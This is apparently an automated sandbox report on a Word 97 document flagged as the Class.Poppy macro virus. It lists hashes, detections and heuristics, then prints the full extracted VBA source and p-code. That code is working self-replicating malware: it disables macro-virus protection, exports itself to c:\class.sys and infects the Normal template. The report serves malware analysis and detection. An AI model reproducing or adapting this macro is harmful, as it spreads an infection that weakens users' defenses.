Office (OLE) malware analysis — malicious · 3765bf6eaf9db399

MALICIOUS

Office (OLE)

69.5 KB Created: 1999-06-23 12:26:00 Authoring application: Microsoft Word 8.0 First seen: 2015-04-15

MD5: 7e344c5c38e2edb1c2e00063ce03032f SHA-1: cf06e278d5e91ef28594797b53e5167226729df8 SHA-256: 3765bf6eaf9db3994f4e56f329a4ae4ddbbd8d7c77092af34c07b00c8cbf1891

256 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy WordBasic macro-virus, including specific markers and attempts to disable virus protection. The AutoOpen macro attempts to export its code to 'c:\class.sys', indicating a potential replication or payload delivery mechanism. The presence of VBA macros and the disabling of macro protection strongly suggest a malicious intent to spread or execute further malicious code.

Heuristics 6

ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-37
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
    .replaceline 1, "Sub AutoClose()"
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12017 bytes
SHA-256: `4589d6813bed8387c0b506db09ee57fe1279e8bbeff11f0b09517ab7fdf64dbc`
Detection ClamAV: Doc.Trojan.Class-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc On Error GoTo out 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Options.VirusProtection = False 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Options.SaveNormalPrompt = False 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Options.ConfirmConversions = False 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If nt > 70 And ad > 0 Then GoTo out 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If nt < 70 Then 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End If 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy" 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc host.codemodule.AddFromFile ("c:\class.sys") 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc With host.codemodule 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc For x = 1 To 4 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc .deletelines 1 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Next x 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End With 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If nt < 70 Then 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc With host.codemodule 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc .replaceline 1, "Sub AutoClose()" 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc .replaceline 71, "Sub ToolsMacro()" 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End With 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End If 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc With host.codemodule 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc For x = 2 To 72 Step 2 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Next x 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End With 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc out: 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End Sub 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc Sub ViewVBCode() 'USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc End Sub ' Processing file: /opt/analyzer/scan_staging/ed7b7e8edc3c43dbb46bc3096920088a.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 6790 bytes ' Line #0: ' FuncDefn (Sub AutoOpen()) ' Line #1: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #2: ' OnError out ' Line #3: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #4: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #5: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #6: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #7: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #8: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #9: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #10: ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St ad ' Line #11: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #12: ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St nt ' Line #13: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #14: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Gt ' And ' If ' BoSImplicit ' GoTo out ' EndIf ' Line #15: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #16: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #17: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #18: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' Line #19: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #20: ' Ld host ' MemLd New ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemSt New ' Line #21: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #22: ' LitStr 0x000C "c:\class.sys" ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' ArgsMemCall Export 0x0001 ' Line #23: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #24: ' EndIfBlock ' Line #25: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #26: ' Ld ad ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' EndIf ' Line #27: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #28: ' Ld Now ' ArgsLd Day 0x0001 ' LitDI2 0x000E ' Eq ' Ld Now ' ArgsLd Month 0x0001 ' LitDI2 0x0005 ' Gt ' Paren ' And ' If ' BoSImplicit ' LitStr 0x0008 "I Think " ' Ld Application ' MemLd UserName ' Concat ' LitStr 0x0016 " is a big stupid jerk!" ' Concat ' LitDI2 0x0000 ' LitStr 0x0021 "VicodinES Loves You / Class.Poppy" ' ArgsCall MsgBox 0x0003 ' EndIf ' Line #29: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #30: ' LitStr 0x000C "c:\class.sys" ' Paren ' Ld host ' MemLd codemodule ' ArgsMemCall AddFromFile 0x0001 ' Line #31: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #32: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #33: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #34: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0004 ' For ' Line #35: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #36: ' LitDI2 0x0001 ' ArgsMemCallWith deletelines 0x0001 ' Line #37: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #38: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #39: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #40: ' EndWith ' Line #41: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #42: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #43: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #44: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #45: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #46: ' LitDI2 0x0001 ' LitStr 0x000F "Sub AutoClose()" ' ArgsMemCallWith replaceline 0x0002 ' Line #47: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #48: ' LitDI2 0x0047 ' LitStr 0x0010 "Sub ToolsMacro()" ' ArgsMemCallWith replaceline 0x0002 ' Line #49: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #50: ' EndWith ' Line #51: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #52: ' EndIfBlock ' Line #53: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #54: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #55: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #56: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0002 ' LitDI2 0x0048 ' LitDI2 0x0002 ' ForStep ' Line #57: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #58: ' Ld x ' LitStr 0x0001 "'" ' Ld Application ' MemLd UserName ' Concat ' Ld Now ' Concat ' Ld Application ' MemLd ActivePrinter ' Concat ' Ld Application ' MemLd ActiveWindow ' Concat ' ArgsMemCallWith replaceline 0x0002 ' Line #59: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #60: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #61: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #62: ' EndWith ' Line #63: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #64: ' Label out ' Line #65: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #66: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Eq ' And ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #67: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #68: ' EndSub ' Line #69: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #70: ' FuncDefn (Sub ViewVBCode()) ' Line #71: ' QuoteRem 0x0000 0x0043 "USER1999/3/11 10:22:00 AMEPSON Stylus Photo EX - LPT1:35test001.doc" ' Line #72: ' EndSub ' Line #73: ' Line #74:

Open this report in the interactive analyzer, or submit your own file for analysis.